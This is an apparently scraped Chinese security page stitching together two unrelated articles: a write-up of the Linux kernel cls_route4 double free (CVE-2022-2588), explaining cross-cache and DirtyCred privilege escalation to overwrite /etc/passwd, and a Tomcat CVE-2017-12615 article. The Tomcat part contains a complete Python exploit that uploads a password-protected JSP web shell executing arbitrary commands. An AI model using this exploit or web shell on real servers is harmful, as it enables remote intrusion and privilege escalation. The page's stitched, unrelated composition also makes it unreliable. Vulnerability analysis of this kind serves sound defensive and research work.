[漏洞分析] CVE-2022-2588 route4 double free内核提权

Posted breezeO_o

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[漏洞分析] CVE-2022-2588 route4 double free内核提权相关的知识,希望对你有一定的参考价值。

文章目录

漏洞简介

漏洞编号: CVE-2022-2588

漏洞产品: linux kernel - cls route4

影响范围: ~ linux kernel 5.19

利用条件: kernel 普通用户具有CAP_NET_ADMIN 权限

利用效果: 本地提权

该漏是Zhenpeng Lin 博士在blackhat 的议题:"Cautious! A New Exploitation Method! No Pipe but as Nasty as Dirty Pipe"中的演示漏洞之一 ,并在8月25号在github公开exp,该漏洞是netlink协议中的CLS_ROUTE4模块中的route4_change函数中的UAF/double free漏洞。使用漏洞作者的dirty cred方法可以完成不依赖内核版本(特定地址)的本地提权。和之前的dirty pipe 系列利用方法一样,实现无地址依赖的本地提权攻击。

环境搭建

编译内核需要满足如下编译选项:

//下面三个可以触发poc
CONFIG_NET_CLS_ROUTE4=y
CONFIG_DUMMY=y        //或使用的其他设备
CONFIG_NET_SCH_QFQ=y  //或使用的其他设备
//跑exp还需要,并且qemu内存得大
CONFIG_NET_CLS_BASIC=y

漏洞触发poc:https://github.com/sang-chu/CVE-2022-2588

漏洞利用exp:https://github.com/Markakd/CVE-2022-2588

详见[编译能复现指定poc的内核排错过程]

漏洞原理

漏洞发生点

漏洞发生在route4_change中,大概逻辑就是生成并初始化一个route4_filter的结构,如果存在相同句柄的route4_filter,则会申请新的释放旧的,用新的代替旧的。

net\\sched\\cls_route.c : route4_change

static int route4_change(struct net *net, struct sk_buff *in_skb,
			 struct tcf_proto *tp, unsigned long base, u32 handle,
			 struct nlattr **tca, void **arg, bool ovr,
			 bool rtnl_held, struct netlink_ext_ack *extack)

	struct route4_head *head = rtnl_dereference(tp->root);
	struct route4_filter __rcu **fp;
	struct route4_filter *fold, *f1, *pfp, *f = NULL;
	struct route4_bucket *b;
	struct nlattr *opt = tca[TCA_OPTIONS];
	struct nlattr *tb[TCA_ROUTE4_MAX + 1];
	unsigned int h, th;
	int err;
	bool new = true;

    fold = *arg;//[1]来自上层函数,通过句柄找到的已经存在的route4_filter
	··· ···route4_filter
	f = kzalloc(sizeof(struct route4_filter), GFP_KERNEL);//[2]申请新的route4_filter,标志位GFP_KERNEL
	if (!f)
		goto errout;
	
	err = tcf_exts_init(&f->exts, net, TCA_ROUTE4_ACT, TCA_ROUTE4_POLICE);//[2]这里申请exts的内存空间
	if (err < 0)
		goto errout;

	if (fold) //[3]如果当前已经存在route4_filter
		f->id = fold->id;
		f->iif = fold->iif;
		f->res = fold->res;
		f->handle = fold->handle;

		f->tp = fold->tp;
		f->bkt = fold->bkt;
		new = false;//不是新的
	

	err = route4_set_parms(net, tp, base, f, handle, head, tb,
			       tca[TCA_RATE], new, ovr, extack);//会更新信息包括handle
	
    ··· ···
        
	//[4]如果存在route4_filter,并且handle不为0,新老handle不同,则会删除并释放老的
	if (fold && fold->handle && f->handle != fold->handle) 
		th = to_hash(fold->handle);
		h = from_hash(fold->handle >> 16);
		b = rtnl_dereference(head->table[th]);
		if (b) 
			fp = &b->ht[h];//ht存放的是route4_filter列表
			for (pfp = rtnl_dereference(*fp); pfp;
			     fp = &pfp->next, pfp = rtnl_dereference(*fp)) 
				if (pfp == fold) 
					rcu_assign_pointer(*fp, fold->next);//找到存在的那个,然后从链表中删除
					break;
				
			
		
	

	route4_reset_fastmap(head);
	*arg = f;
	if (fold) //[5]存在route4_filter的话,则释放之前的
		tcf_unbind_filter(tp, &fold->res);
		tcf_exts_get_net(&fold->exts);
		tcf_queue_work(&fold->rwork, route4_delete_filter_work);
        //[5]启动内核进程,完成route4_delete_filter_work任务
	
	return 0;
	··· ···

[1] 上层函数通过route4_get 函数找到用户传入句柄对应的route4_filter结构,就是arg参数

[2] 无论如何都要申请一个新的route4_filter结构,并初始化,其中f->exts->actions也需要额外申请空间,都用的是GFP_KERNEL标志位:

static inline int tcf_exts_init(struct tcf_exts *exts, struct net *net,
				int action, int police)

	··· ···
	exts->actions = kcalloc(TCA_ACT_MAX_PRIO, sizeof(struct tc_action *), //这里申请32个指针类型共256字节
				GFP_KERNEL);
	··· ···

[3] 存在旧的则把信息拷贝到新的上

[4] 这里如果存在旧的并且handle不为0,则会将旧的从列表中删除。

[5] 如果存在旧的,则新建内核进程任务route4_delete_filter_work 来完成释放工作。

这里逻辑没问题,先将旧的route4_filter从列表中删除,然后再将旧的route4_filter释放掉,但问题在于这两个操作的判断条件不一样。将旧的route4_filter从列表中删除操作要求handle不为0,而释放旧的route4_filter 则只要旧route4_filter存在即可。这样如果我们构造handle 为0 的route4_filter,那么就会释放后还存在在链表中,后续还可以继续释放,造成double free。

调用链

相关操作以及结构体

释放route4_filter结构使用的是内核任务route4_delete_filter_work:

net\\sched\\cls_route.c : route4_delete_filter_work

void tcf_exts_destroy(struct tcf_exts *exts)

#ifdef CONFIG_NET_CLS_ACT
	if (exts->actions) 
		tcf_action_destroy(exts->actions, TCA_ACT_UNBIND);
		kfree(exts->actions);//释放exts->actions
	
	exts->nr_actions = 0;
#endif

static void __route4_delete_filter(struct route4_filter *f)

	tcf_exts_destroy(&f->exts);
	tcf_exts_put_net(&f->exts);
	kfree(f);//释放route4_filter

static void route4_delete_filter_work(struct work_struct *work)

	struct route4_filter *f = container_of(to_rcu_work(work),
					       struct route4_filter,
					       rwork);
	rtnl_lock();
	__route4_delete_filter(f);
	rtnl_unlock();

在route4_delete函数中同样会调用route4_delete_filter_work 任务,所以这里doublefree可以使用route4_delete功能进行第二次free:

net\\sched\\cls_route.c : route4_delete

static int route4_delete(struct tcf_proto *tp, void *arg, bool *last,
			 bool rtnl_held, struct netlink_ext_ack *extack)

	··· ···
	for (nf = rtnl_dereference(*fp); nf;
	     fp = &nf->next, nf = rtnl_dereference(*fp)) 
		if (nf == f) 
			··· ···
			tcf_queue_work(&f->rwork, route4_delete_filter_work);

			··· ···
		
	

	··· ···

参与释放的有两个结构体:

struct route4_filter //大小 144
	struct route4_filter __rcu	*next;
	u32			id;
	int			iif;

	struct tcf_result	res;
	struct tcf_exts		exts;
	u32			handle;
	struct route4_bucket	*bkt;
	struct tcf_proto	*tp;
	struct rcu_work		rwork;
;

struct tc_action //大小192
	const struct tc_action_ops	*ops;
	__u32				type; /* for backward compat(TCA_OLD_COMPAT) */
	struct tcf_idrinfo		*idrinfo;

	u32				tcfa_index;
	refcount_t			tcfa_refcnt;
	atomic_t			tcfa_bindcnt;
	int				tcfa_action;
	struct tcf_t			tcfa_tm;
	struct gnet_stats_basic_packed	tcfa_bstats;
	struct gnet_stats_basic_packed	tcfa_bstats_hw;
	struct gnet_stats_queue		tcfa_qstats;
	struct net_rate_estimator __rcu *tcfa_rate_est;
	spinlock_t			tcfa_lock;
	struct gnet_stats_basic_cpu __percpu *cpu_bstats;
	struct gnet_stats_basic_cpu __percpu *cpu_bstats_hw;
	struct gnet_stats_queue __percpu *cpu_qstats;
	struct tc_cookie	__rcu *act_cookie;
	struct tcf_chain	__rcu *goto_chain;
	u32			tcfa_flags;
	u8			hw_stats;
	u8			used_hw_stats;
	bool			used_hw_stats_valid;
;

但参与释放的tc_action 不是结构体本身,而是32个结构体指针的空间,共256字节,之前分析过。

漏洞利用

dirty cred 利用方法

double free

之前提到过,通过route4_change 和route4_delete 都可以启动一个内核进程route4_delete_filter_work。在该任务中,一共会释放两个堆内存,其中之一是struct route4_filter,大小144属于kmalloc-192,另一个是一个指针数组空间,大小0x100属于kmalloc-256。

struct file 大小232属于kmalloc-256,正好可以利用256 的chunk来double free。这里完成的目标是让两个文件描述符指向同一个struct file

常规操作直接释放,打开file,释放即可。但问题出在释放0x100的同时还会释放一个192,而再次释放的时候192是没有被重新分配的,就会造成double free,内核检测double free部分如下:

static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)

	unsigned long freeptr_addr = (unsigned long)object + s->offset;

#ifdef CONFIG_SLAB_FREELIST_HARDENED
	BUG_ON(object == fp); /* naive detection of double free or corruption */
#endif

	freeptr_addr = (unsigned long)kasan_reset_tag((void *)freeptr_addr);
	*(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);

如果freelist指针已经指向刚释放的slab,则说明该slab释放了两次,则会崩溃。但这里只能检测出连续释放两次的slab,如果释放两次之间间隔释放了同一页的其他slab,则检测不出。

cross cache attack

struct file 结构体申请内存空间所用的slab 是filp_cache,而不是常规的kmalloc 申请空间所用的slab:

fs\\file_table.c:

void __init files_init(void)

	filp_cachep = kmem_cache_create("filp", sizeof(struct file), 0,
			SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT, NULL);//初始化新slab:filp,大小是file结构体大小
	percpu_counter_init(&nr_files, 0, GFP_KERNEL);


static struct file *__alloc_file(int flags, const struct cred *cred)

	struct file *f;
	int error;

	f = kmem_cache_zalloc(filp_cachep, GFP_KERNEL);//调用kmem_cache_zalloc 从filp_cachep 中申请内存
	··· ···


sizeof(struct file) 大小属于0x100,所以filp slab也是一个管理0x100大小的slab,只不过它和常规kmalloc-256不在一起而已。但这并不是问题,我们可以使用cross cache attack原理攻击,该利用方法的整体思路是,当一个slab 页面被全部释放的时候会被回收,这时被回收的页面是可以被其他种类的slab使用的这样就可以跨slab种类来进行利用,如Zhenpeng Lin 的ppt中演示的:

假定我们有一个非法释放漏洞(或double free),但只能释放普通slab 中的堆块:

  1. 首先喷射一堆该大小的普通堆块,这样会消耗一大堆slab 页面。我们的double free目标指针指向其中一个堆块,先将其释放
  2. 然后将喷射的一大堆普通堆块都释放掉,这样double free目标堆块所在slab 页面中的所有堆块(绝大概率)会被都释放掉,该slab 页面为空,会被系统回收
  3. 这时喷射一大堆filp / 其他slab 类型的堆块,这样目标指针所在页面大概率会被filp 类型slab或其他目标类型slab重新申请到吗,并且目标指针(double free漏洞指针)指向其中一个struct file结构体
  4. 使用漏洞的第二次释放能力,该struct file结构体被非法释放

具体操作

所以这里采用了两个进程:

  • 在添加route4_filter之前喷射若干对应大小的slab是为了让他们和route4_filter都能在一个slab page中,这样整个slab page都被释放之后对应上面cross cache attack让该kmalloc-256 page被filp slab复用。

  • 释放route4_filter 之后再释放若干,就会有同slab page 中的其他堆内存释放,避免连续释放double free

  • 最后喷射若干file结构,filp slab复用上面的slab page之后总会申请到目标double free结构

  • 最后达到两个文件描述符指向同一个文件结构体的状态。

另外,在攻击开始前,会先喷神若干文件结构消耗掉现有struct file 申请slab 中的内存,等到之后会分配新的内存。

dirty cred部分

具体的dirty cred分析请见[kernel exploit] Dirty Cred: 一种新的无地址依赖漏洞利用方案

dirty cred 的主要利用思路是利用向文件中写入的内容的具体内核实现过程为

  1. 进行权限验证,具备写权限则通过
  2. 获取写入内容
  3. 进行写入操作

如果我们能在1 和2 之间对struct file进行替换,则可以利用有写权限的文件进行权限判断,具体写入操作写到无写权限的问价之中。该操作需要漏洞来非法释放struct file结构体来替换,并且需要其他操作来延长替换的时间窗。dirty cred具体利用思路参见dirty cred 论文分析。这里操作分为三个进程:

  • 进程A主要负责向被uaf的文件写入大量数据,同时进程C会尝试向该文件写入恶意内容。鉴权操作会同时进行,一瞬间都鉴权通过,但由于进程A写入数据量过大,inode锁会将其锁住大量时间,进程C只能等待,这期间我们要替换文件结构体
  • 进程B中对之前构造的"指向同一个struct file 的两个文件描述符"分别进行close,其实是这里对该文件的引用计数是2(进程C还打开准备写入了),需要关闭两次才可以真正释放struct file。
  • 进程B中释放完毕,会立刻喷射若干passwd 的struct file结构覆盖刚刚释放的位置,这样进程C中打算写入的文件就会变成passwd。
  • 进程A写入完毕,进程C继续写入,这时struct file已经被替换为passwd 的,进程C直接将任意内容写入了passwd 之中。

利用效果:

另一种思路

这里也可以直接套用之前的伪dirty pipe方法,由于时间问题没写具体exp,主要思路就是:

  • 目标同样选为kmalloc-256的堆块,利用漏洞释放第一次
  • 喷射若干msg_msg
  • 利用漏洞释放第二次
  • 喷射若干sk_buff

这样sk_buff 就跟msg_msg 共用同一块内存,然后直接套用胜利方程式即可。

参考

Markakd/CVE-2022-2588

Cautious: A New Exploitation Method! No Pipe but as Nasty as Dirty Pipe - Black Hat USA 2022 | Briefings Schedule

CVE-2017-12615和CVE-2017-12616

Tomcat代码执行漏洞分析测试

1. 漏洞花絮

       2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615)    影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

   

2. 基本信息

漏洞名称:Tomcat任意文件上传漏洞

漏洞编号:CVE-2017-12615

漏洞影响:上传包含任意代码的文件,并被服务器执行。

影响平台:Windows

影响版本:Apache Tomcat 7.0.0 - 7.0.81

   

3. 测试过程

0x00 安装Tomcat 7.0.79

0x01 开启HTTP PUT

修改Tomcat 7.0/conf/web.xml文件

Org.apache.catalina.servlets.DefaultServlet

添加readonly属性,使者readonly=false; 相反为True,是禁用PUT DETELE,默认没有添加

  1. <init-param>
  2.    
  3. <param-name>readonly</param-name>
  4.    
  5. <param-value>false</param-value>
  6.    
  7. </init-param>

   

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

构造请求:

   

   

参考POC:

  1. #! -*- coding:utf-8 -*-
  2.    
  3. import httplib
  4.    
  5. import sys
  6.    
  7. import time
  8.    
  9. body = \'\'\'<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
  10.    
  11. +"\\\\n");}buf.close();} catch (Exception e) {line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>\'\'\'
  12.    
  13. try:
  14.    
  15.     conn = httplib.HTTPConnection(sys.argv[1])
  16.    
  17.     conn.request(method=\'OPTIONS\', url=\'/ffffzz\')
  18.    
  19.     headers = dict(conn.getresponse().getheaders())
  20.    
  21.     if \'allow\' in headers and \\
  22.    
  23.        headers[\'allow\'].find(\'PUT\') > 0 :
  24.    
  25.         conn.close()
  26.    
  27.         conn = httplib.HTTPConnection(sys.argv[1])
  28.    
  29.         url = "/" + str(int(time.time()))+\'.jsp/\'
  30.    
  31.         #url = "/" + str(int(time.time()))+\'.jsp::$DATA\'
  32.    
  33.         conn.request( method=\'PUT\', url= url, body=body)
  34.    
  35.         res = conn.getresponse()
  36.    
  37.         if res.status == 201 :
  38.    
  39.             #print \'shell:\', \'http://\' + sys.argv[1] + url[:-7]
  40.    
  41.             print \'shell:\', \'http://\' + sys.argv[1] + url[:-1]
  42.    
  43.         elif res.status == 204 :
  44.    
  45.             print \'file exists\'
  46.    
  47.         else:
  48.    
  49.             print \'error\'
  50.    
  51.         conn.close()
  52.    
  53.     else:
  54.    
  55.         print \'Server not vulnerable\'
  56.    
  57.    
  58.    
  59. except Exception,e:
  60.    
  61.     print \'Error:\', e

   

   

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5&chksm=ea3f3dd9dd48b4cf1db66e70662126cf1eb45f60eb8205b3391d20f66564e6a789b158c0efe5&mpshare=1&scene=23&srcid=0920boQGYdCjZTPg2nEQRMqt#rd

https://www.secquan.org/BugWarning/522

https://paper.seebug.org/399/

  

以上是关于[漏洞分析] CVE-2022-2588 route4 double free内核提权的主要内容,如果未能解决你的问题,请参考以下文章

TeamTalk源码分析 —— 服务器端route_server源码分析

laravel框架总结 -- 路径分析

flask框架——路由系统route转换成add_url_rule及源码分析

metadata 和 routing

iptables 深入分析

学习Slim Framework for PHP v3 --route怎么被匹配的?